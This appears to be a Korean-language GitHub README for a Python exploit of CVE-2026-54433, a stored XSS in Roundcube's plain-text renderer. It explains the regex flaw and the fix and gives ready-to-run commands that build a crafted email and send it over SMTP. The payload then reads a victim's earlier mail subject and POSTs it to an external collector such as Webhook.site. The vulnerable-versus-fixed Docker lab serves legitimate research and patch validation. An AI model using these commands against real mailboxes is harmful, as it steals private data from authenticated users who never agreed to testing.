aramosf/cve-2026-54433Roundcube의 일반 텍스트 이메일 렌더러에서 발생하는 저장형 XSS 취약점인 CVE-2026-54433을 위한 구성 가능한 Python PoC입니다. 조작된 .eml 파일을 생성하고 SMTP로 전송한 다음, Docker 랩에서 영향을 검증합니다.
이 저장소에는 CVE-2026-54433, 즉 Roundcube의 일반 텍스트 이메일 렌더러에 존재하는 저장형 크로스 사이트 스크립팅 취약점에 대한 구성 가능한 Python 개념 증명(PoC)이 포함되어 있습니다. 인증되지 않은 발신자는 조작된 text/plain 메시지를 전달할 수 있습니다. 인증된 Roundcube 사용자가 해당 메시지를 열거나 미리 보면 공격자가 제어하는 JavaScript가 Roundcube 출처에서 실행됩니다.
이 PoC는 쿠키나 메시지 본문을 수집하지 않고 인증된 세션의 구체적인 영향을 입증합니다. 즉, 이전 메시지 하나의 제목을 읽고 해당 값, Roundcube 출처, 작업 이름을 URL 인코딩된 POST 필드로 승인된 수집기에 전송합니다.
경고
이것은 활성 익스플로잇 코드입니다. 소유한 랩이나 명시적으로 테스트를 승인받은 시스템 및 사서함에서만 사용하십시오. 전송 모드는 조작된 이메일을 전송하며 기존 제목 하나가 수집기에 공개될 수 있습니다. 오프라인 검사에는
--generate-only를 사용하십시오.
Roundcube는 일반 텍스트 메시지에서 발견된 주소를 클릭 가능한 mailto: 링크로 변환합니다. 영향을 받는 버전에서는 선택적 쿼리 접미사가 \S+와 일치했습니다:
. '(\?\S+)?'
\S는 및 를 포함하므로, 이메일 주소처럼 시작하는 문자열이 자동 링크 치환 과정에서 여는 HTML 태그를 소비하고 나머지는 마크업으로 해석되도록 만들 수 있습니다. 다음 최소 형태가 이 원시 결함을 보여줍니다:
<>업스트림 수정은 쿼리 접미사에 꺾쇠괄호나 공백이 포함될 수 없도록 제한합니다:
. '(\?[^<>\s]+)?'
공급업체는 링크 클릭이 필요하지 않기 때문에 이 문제를 "제로 클릭"으로 설명합니다. 인증된 상태에서 이메일을 열거나 미리 보는 것만으로도 메일 클라이언트가 페이로드를 렌더링하는 동작이 됩니다.
| 릴리스 라인 | 상태 |
|---|---|
| 1.6.17 이전의 Roundcube 버전 | 영향 받음 |
| Roundcube 1.6.17 및 이후 1.6.x | 수정됨 |
| Roundcube 1.7.0 및 1.7.1 | 영향 받음 |
| Roundcube 1.7.2 이상 | 수정됨 |
공개된 수정 커밋은 다음과 같습니다:
Roundcube 1.6.17 / 1.7.2 또는 더 새로운 지원 릴리스로 업그레이드하십시오.
text/plain으로 렌더링되어야 합니다.src를 사용하여 onerror를 호출합니다. 수집기 콜백에는 여전히 브라우저의 네트워크 연결이 필요합니다.HttpOnly입니다. 이 PoC는 이를 읽으려 시도하지 않습니다. 동일 출처 요청은 자동으로 인증된 세션을 사용하며, 별도 메시지의 제목이 영향 증거입니다.입증된 결과는 인증된 JavaScript 실행과 이전 이메일 제목 하나에 대한 읽기 접근입니다. 계정 탈취, 임의 메시지 본문 탈취, 서버 측 코드 실행은 이 저장소에서 주장하지 않습니다.
cve-2026-54433-poc.py는 자체 포함되어 있으며 Python 표준 라이브러리만 사용합니다. 이 스크립트는:
text/plain 이메일을 생성합니다;CVE-2026-54433으로 시작하지 않는 첫 번째 이전 제목을 선택합니다;subject, origin, task를 /capture/<random-marker>로 POST합니다;페이로드는 DOM 주석을 삽입합니다:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
또한 호출자가 제공한 무해한 본문을 표시하면서 자동 링크된 주소 조각과 깨진 이미지 표시기를 숨깁니다.
네트워크 연결 없이 이메일을 생성합니다:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
다음 파일이 작성됩니다:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.json전송 모드를 사용하기 전에 생성된 메시지를 검사하십시오.
--collector 값은 Webhook.site UUID, 캡처 URL 또는 #!/view/ URL일 수 있습니다. 스크립트는 캡처 및 폴링 엔드포인트를 유도합니다.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
SMTP_PASSWORD가 없으면 스크립트는 비밀번호를 에코하거나 저장하지 않고 입력을 요청합니다. 이름이 다른 변수는 --smtp-password-env NAME으로 선택할 수 있습니다. 명령줄 인수가 프로세스 목록이나 셸 기록에 노출될 수 있으므로 다중 사용자 시스템에서는 --smtp-password를 피하십시오.
스크립트는 전송 전에 명시적인 YES를 요청합니다. 비대화형이면서 이미 승인된 랩 자동화에서는 --yes를 전달하십시오. 기본적으로 콜백을 최대 24시간 기다립니다. --timeout SECONDS로 변경할 수 있습니다.
Webhook.site가 아닌 수집기의 경우 캡처 베이스와 선택적 JSON 상태 엔드포인트를 전달하십시오:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
포함된 collector.py는 호환되는 /capture/<marker> 및 /status 엔드포인트를 구현합니다. 기본적으로 루프백에 바인딩됩니다. 실제 HTTPS 배포와 접근 제어는 의도적으로 승인된 테스터에게 맡겨집니다.
랩은 공개된 호스트 포트가 없으며 합성 메시지만 포함합니다. 동일한 Python PoC를 사용하여 트리거를 생성하고, 두 메시지를 일회용 Dovecot 사서함에 전달하고, 일회용 헤드리스 브라우저로 로그인한 후 주입된 핸들러가 이전 제목을 읽었는지 기록합니다.
요구 사항: Docker, Python 3, OpenSSL, jq.
취약한 버전 테스트:
./lab/run.sh
수정된 버전 대조군:
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
비디오 또는 실시간 브라우저 데모를 보려면 다음을 실행하십시오:
./lab/demo.sh
Roundcube와 시각적 수집기를 루프백에서만 공개합니다. 스크립트가 출력한 두 URL을 열고, 처음에 비어 있는 수집기를 보여준 다음, 출력된 합성 자격 증명으로 로그인하고, 트리거 이메일을 클릭한 후 수집기로 돌아가십시오. 캡처된 합성 제목이 자동 새로 고침 테이블에 나타납니다. Ctrl-C는 일회용 컨테이너와 네트워크를 제거합니다.
브라우저 상호 작용과 실제 Webhook.site 콜백을 녹화하려면 재현 가능한 레코더를 사용하십시오. Chrome, Xvfb, ffmpeg, Docker 및 환경을 통해 제공되는 승인된 Webhook.site 토큰이 필요합니다:
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh
결과 MP4는 보이는 Roundcube 트리거 행, 주석이 달린 마우스 클릭, 수신된 합성 제목을 표시하는 Webhook.site를 보여줍니다. 토큰은 소스 트리에 저장되지 않습니다.
녹화에는 생성 전용 Python 호출, 페이로드 생성 출력, Roundcube 클릭 및 결과 Webhook.site 요청을 보여주는 보이는 터미널 패널이 포함됩니다.
시각적 데모는 COLLECTOR_URL 및 COLLECTOR_VIEW_URL도 허용합니다. 두 변수를 승인된 Webhook.site 토큰으로 지정하여 실제 수집기가 합성 제목을 수신하는 모습을 보여주십시오. 관련 없는 요청이 포함된 토큰은 재사용하지 마십시오.
엔드투엔드 비교는 2026-08-14에 x86-64 Linux + Docker에서 실행되었습니다:
| 대조군 | 이미지 다이제스트 | 주입된 핸들러 | 이전 제목 전송 여부 | 결과 |
|---|---|---|---|---|
| Roundcube 1.7.1 Apache | sha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f | eval(name) 있음 | 예, URL 인코딩 POST | CONFIRMED |
| Roundcube 1.7.3 Apache | sha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6 | 없음; 마크업 이스케이프됨 | 콜백 없음 | NOT_CONFIRMED |
긍정 콜백 본문(합성 값, 출처 삭제됨):
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail
구조화되고 삭제된 비교는 docs/e2e-results.json에 있습니다.
오프라인 검사는 Python 소스를 컴파일하고 새 .eml을 생성한 다음 해당 MIME 유형, 페이로드 원시 결함, 표시 본문, 주석 및 메타데이터를 확인합니다:
./verify.sh
두 엔드투엔드 Docker 대조군을 추가하려면 RUN_DOCKER=1을 설정하십시오:
RUN_DOCKER=1 ./verify.sh
2026-08-14 기준 GitHub, Exploit-Database 및 Packet Storm에서 CVE-2026-54433에 대한 표적 검색은 엔드투엔드 취약/수정 비교를 갖춘 검증되고 구성 가능한 메일 전송 익스플로잇을 찾지 못했습니다. 공급업체 및 취약점 데이터베이스 항목, 스캐너 템플릿 논의, 설명적 분석 글은 이미 존재했습니다. 이것은 날짜가 표시된 검색 스냅샷이며, 다른 PoC가 존재할 수 없다는 주장이 아닙니다.
취약점 발견: Bohdan Kurinnoy, Samsung R&D Institute Ukraine (SRUKR) (Roundcube가 크레딧을 부여함).
연구, 영향 검증 및 익스플로잇 구현: A. Ramos <[email protected]> (트위터: @aramosf).
CVE-2026-54433 Roundcube 일반 텍스트 이메일 저장형 XSS PoC로, 제한된 인증 사서함 제목 증거와 취약/수정 Docker 랩을 포함합니다.